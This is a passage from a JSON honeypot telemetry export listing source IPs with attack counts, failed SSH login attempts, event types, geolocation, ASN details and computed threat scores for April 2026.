      "honeypot_breakdown_30d": {
        "Suricata": 122,
        "Honeytrap": 29,
        "Cowrie": 12,
        "Ciscoasa": 6,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "Dionaea": 2
      }
    },
    "146.190.88.236": {
      "attack_count": 11,
      "first_seen": "2026-04-12T06:45:18.223Z",
      "last_seen": "2026-04-19T10:18:48.562Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech$2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T06:45:18.223000+00:00",
        "last_seen_30d": "2026-04-21T18:12:46.794000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 11
      }
    },
    "162.240.163.162": {
      "attack_count": 10,
      "first_seen": "2026-04-10T21:05:48.213Z",
      "last_seen": "2026-04-11T07:31:16.647Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech123",
        "Kelltech@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T21:05:48.213000+00:00",
        "last_seen_30d": "2026-04-11T07:32:23.572000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "120.48.152.209": {
      "attack_count": 9,
      "first_seen": "2026-04-06T21:43:59.179Z",
      "last_seen": "2026-04-06T21:50:32.508Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "nikola"
      ],
      "passwords_attempted": [
        "nikola"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T21:43:59.179000+00:00",
        "last_seen_30d": "2026-04-06T22:00:39.423000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "64.62.156.108": {
      "attack_count": 9,
      "first_seen": "2026-04-15T14:42:35.097Z",
      "last_seen": "2026-04-24T01:33:50.535Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T09:23:59+00:00",
        "last_seen_30d": "2026-04-30T15:25:17.862000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 92,
        "H0neytr4p": 15,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Adbhoney": 4,
        "Dionaea": 4,
        "ConPot": 1
      }
    },
    "176.133.121.90": {
      "attack_count": 8,
      "first_seen": "2026-04-27T17:27:43.624Z",
      "last_seen": "2026-04-27T17:35:47.325Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Bayonne",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:27:43.624000+00:00",
        "last_seen_30d": "2026-04-28T04:51:03.824000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "43.134.59.35": {
      "attack_count": 8,
      "first_seen": "2026-04-14T13:53:50.408Z",
      "last_seen": "2026-04-14T19:18:55.774Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T13:53:50.408000+00:00",
        "last_seen_30d": "2026-04-14T19:20:03.149000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "20.65.195.63": {
      "attack_count": 7,
      "first_seen": "2026-04-10T14:35:49.609Z",
      "last_seen": "2026-04-10T14:35:59.610Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 64.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-04T20:32:47.645000+00:00",
        "last_seen_30d": "2026-04-26T04:42:55.841000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 8,
        "Cowrie": 7,
        "ConPot": 4,
        "Tanner": 1
      }
    },
    "147.182.194.60": {
      "attack_count": 6,
      "first_seen": "2026-04-04T08:40:13.582Z",
      "last_seen": "2026-04-14T21:32:45.405Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "botany",
        "root"
      ],
      "passwords_attempted": [
        "Root123?",
        "botany"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T08:40:13.582000+00:00",
        "last_seen_30d": "2026-04-22T02:28:17.729000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "45.142.154.47": {
      "attack_count": 6,
      "first_seen": "2026-04-10T04:26:15.650Z",
      "last_seen": "2026-04-10T04:26:30.905Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 68.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 22.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 27,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T02:02:36+00:00",
        "last_seen_30d": "2026-04-28T09:05:23.672000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 23,
        "Ciscoasa": 8,
        "Cowrie": 6
      }
    },
    "5.39.70.2": {
      "attack_count": 6,
      "first_seen": "2026-04-01T10:52:22.963Z",
      "last_seen": "2026-04-01T10:54:45.831Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:52:22.963000+00:00",
        "last_seen_30d": "2026-04-01T10:55:46.979000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "65.49.20.68": {
      "attack_count": 5,
      "first_seen": "2026-04-26T08:53:38.918Z",
      "last_seen": "2026-04-28T12:13:26.789Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 488,
        "days_active_30d": 30,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T11:38:39+00:00",
        "last_seen_30d": "2026-04-30T09:40:48.340000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 293,
        "Honeytrap": 151,
        "Ciscoasa": 14,
        "Dionaea": 7,
        "Adbhoney": 6,
        "Mailoney": 6,
        "Cowrie": 5,
        "ElasticPot": 3,
        "Honeyaml": 2,
        "Miniprint": 1
      }
    },
    "100.53.78.176": {
      "attack_count": 4,
      "first_seen": "2026-04-17T00:57:13.458Z",
      "last_seen": "2026-04-17T00:57:20.112Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.6,
        "persistence": 20.0,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 24,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-05T00:59:35.464000+00:00",
        "last_seen_30d": "2026-04-28T01:05:46.118000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "Honeyaml": 1,
        "Honeytrap": 1
      }
    },
    "187.21.12.196": {
      "attack_count": 4,
      "first_seen": "2026-04-26T05:17:51.696Z",
      "last_seen": "2026-04-26T05:19:51.798Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:17:51.696000+00:00",
        "last_seen_30d": "2026-04-26T05:24:59.101000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "199.45.155.81": {
      "attack_count": 4,
      "first_seen": "2026-04-21T01:57:04.932Z",
      "last_seen": "2026-04-21T01:57:19.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 26,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T01:52:30.432000+00:00",
        "last_seen_30d": "2026-04-27T07:47:16.925000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 11,
        "Cowrie": 4,
        "Sentrypeer": 1
      }
    },
    "20.168.121.252": {
      "attack_count": 4,
      "first_seen": "2026-04-09T02:35:15.415Z",
      "last_seen": "2026-04-09T02:35:25.859Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T09:29:19+00:00",
        "last_seen_30d": "2026-04-24T04:20:43.963000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Tanner": 1
      }
    },
    "41.38.156.126": {
      "attack_count": 4,
      "first_seen": "2026-04-06T15:03:41.015Z",
      "last_seen": "2026-04-10T10:26:34.854Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T15:03:41.015000+00:00",
        "last_seen_30d": "2026-04-10T10:27:42.056000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.156.128.121": {
      "attack_count": 4,
      "first_seen": "2026-04-18T20:27:41.053Z",
      "last_seen": "2026-04-18T20:27:47.385Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T16:04:38+00:00",
        "last_seen_30d": "2026-04-30T21:33:11.903000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "45.227.194.162": {
      "attack_count": 4,
      "first_seen": "2026-04-17T23:12:41.471Z",
      "last_seen": "2026-04-27T19:31:21.081Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Conc\u00f3rdia",
      "asn": 28146,
      "as_org": "MHNET TELECOM",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T23:12:41.471000+00:00",
        "last_seen_30d": "2026-04-27T19:32:29.607000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.156.63": {
      "attack_count": 4,
      "first_seen": "2026-04-24T05:31:56.959Z",
      "last_seen": "2026-04-24T05:32:00.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 28,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T06:18:14+00:00",
        "last_seen_30d": "2026-04-30T15:32:38.824000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Ciscoasa": 2
      }
    },
    "64.62.197.88": {
      "attack_count": 4,
      "first_seen": "2026-04-15T17:53:39.087Z",
      "last_seen": "2026-04-15T17:53:43.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:08:42.234000+00:00",
        "last_seen_30d": "2026-04-25T06:00:45.881000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "65.49.1.196": {
      "attack_count": 4,
      "first_seen": "2026-04-21T14:11:25.438Z",
      "last_seen": "2026-04-21T14:11:29.521Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 69.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 27,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T08:11:13.594000+00:00",
        "last_seen_30d": "2026-04-27T05:41:29.335000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Honeyaml": 1
      }
    },
    "66.132.172.184": {
      "attack_count": 4,
      "first_seen": "2026-04-13T13:31:52.133Z",
      "last_seen": "2026-04-13T13:32:07.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:34:44+00:00",
        "last_seen_30d": "2026-04-30T15:07:56.788000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 42,
        "Dionaea": 15,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "86.146.125.211": {
      "attack_count": 4,
      "first_seen": "2026-04-30T16:31:30.153Z",
      "last_seen": "2026-04-30T16:35:31.122Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Belfast",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:31:30.153000+00:00",
        "last_seen_30d": "2026-04-30T16:37:06.718000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "14.103.118.121": {
      "attack_count": 3,
      "first_seen": "2026-04-06T02:03:46.828Z",
      "last_seen": "2026-04-06T02:05:46.837Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T02:03:46.828000+00:00",
        "last_seen_30d": "2026-04-06T02:15:51.291000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "194.163.170.234": {
      "attack_count": 3,
      "first_seen": "2026-04-07T18:25:46.355Z",
      "last_seen": "2026-04-07T18:26:48.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:49:52.220000+00:00",
        "last_seen_30d": "2026-04-10T05:02:40.038000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "210.211.122.97": {
      "attack_count": 3,
      "first_seen": "2026-04-30T09:35:29.085Z",
      "last_seen": "2026-04-30T09:36:31.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38731,
      "as_org": "CHT Compamy Ltd",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T22:14:12.737000+00:00",
        "last_seen_30d": "2026-04-30T09:37:33.243000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "64.62.156.212": {
      "attack_count": 3,
      "first_seen": "2026-04-21T01:33:56.365Z",
      "last_seen": "2026-04-21T01:33:56.366Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
